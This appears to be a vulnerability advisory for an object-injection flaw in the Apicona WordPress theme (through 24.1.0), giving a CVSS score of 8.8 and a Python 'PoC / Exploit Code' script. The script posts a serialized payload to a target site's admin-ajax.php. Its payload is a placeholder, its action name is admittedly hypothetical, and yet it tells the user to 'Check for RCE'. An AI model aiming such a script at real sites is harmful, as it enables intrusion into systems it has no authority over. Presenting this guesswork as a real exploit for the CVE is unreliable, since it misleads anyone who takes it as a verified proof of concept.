Deserialization of Untrusted Data vulnerability in thememount Apicona apicona allows Object Injection.This issue affects Apicona: from n/a through <= 24.1.0.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
thememount Apicona <= 24.1.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import sys
# Simple PoC for CVE-2026-25400
# Target: thememount Apicona Theme <= 24.1.0
# This script sends a malicious serialized object to trigger deserialization.
def send_exploit(target_url):
# Replace this payload with a valid gadget chain for the specific environment
# This is a placeholder demonstrating the Object Injection structure
# Example payload triggering a simple class destruction
payload = 'O:8:"stdClass":0:{}'
# The vulnerable endpoint might vary (e.g., admin-ajax.php or theme options page)
endpoint = f"{target_url}/wp-admin/admin-ajax.php"
data = {
"action": "vulnerable_theme_action", # Hypothetical action name
"insecure_data": payload
}
try:
print(f"[*] Sending payload to {endpoint}...")
response = requests.post(endpoint, data=data, timeout=10)
if response.status_code == 200:
print("[+] Payload sent successfully. Check for RCE or changes.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[!] An error occurred: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
sys.exit(1)
send_exploit(sys.argv[1])